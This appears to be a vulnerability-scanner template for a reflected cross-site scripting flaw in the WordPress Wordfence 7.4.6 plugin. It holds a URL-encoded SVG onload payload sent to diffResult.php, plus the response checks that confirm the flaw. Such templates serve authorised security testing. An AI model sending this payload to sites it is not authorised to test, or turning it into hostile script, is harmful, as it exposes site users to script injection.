id: wordpress-wordfence-xss info: name: WordPress Wordfence 7.4.6 - Cross0Site Scripting author: madrobot severity: medium description: WordPress Wordfence 7.4.6 is vulnerable to cross-site scripting. classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N cvss-score: 5.4 cwe-id: CWE-80 tags: wordpress,wp-plugin,xss,wordfence requests: - method: GET path: - "{{BaseURL}}/wp-content/plugins/wordfence/lib/diffResult.php?file=%27%3E%22%3Csvg%2Fonload=confirm%28%27test%27%29%3E" matchers-condition: and matchers: - type: word words: - "'>\"" part: body - type: word words: - "text/html" part: header - type: status status: - 200 # Enhanced by mp on 2022/09/07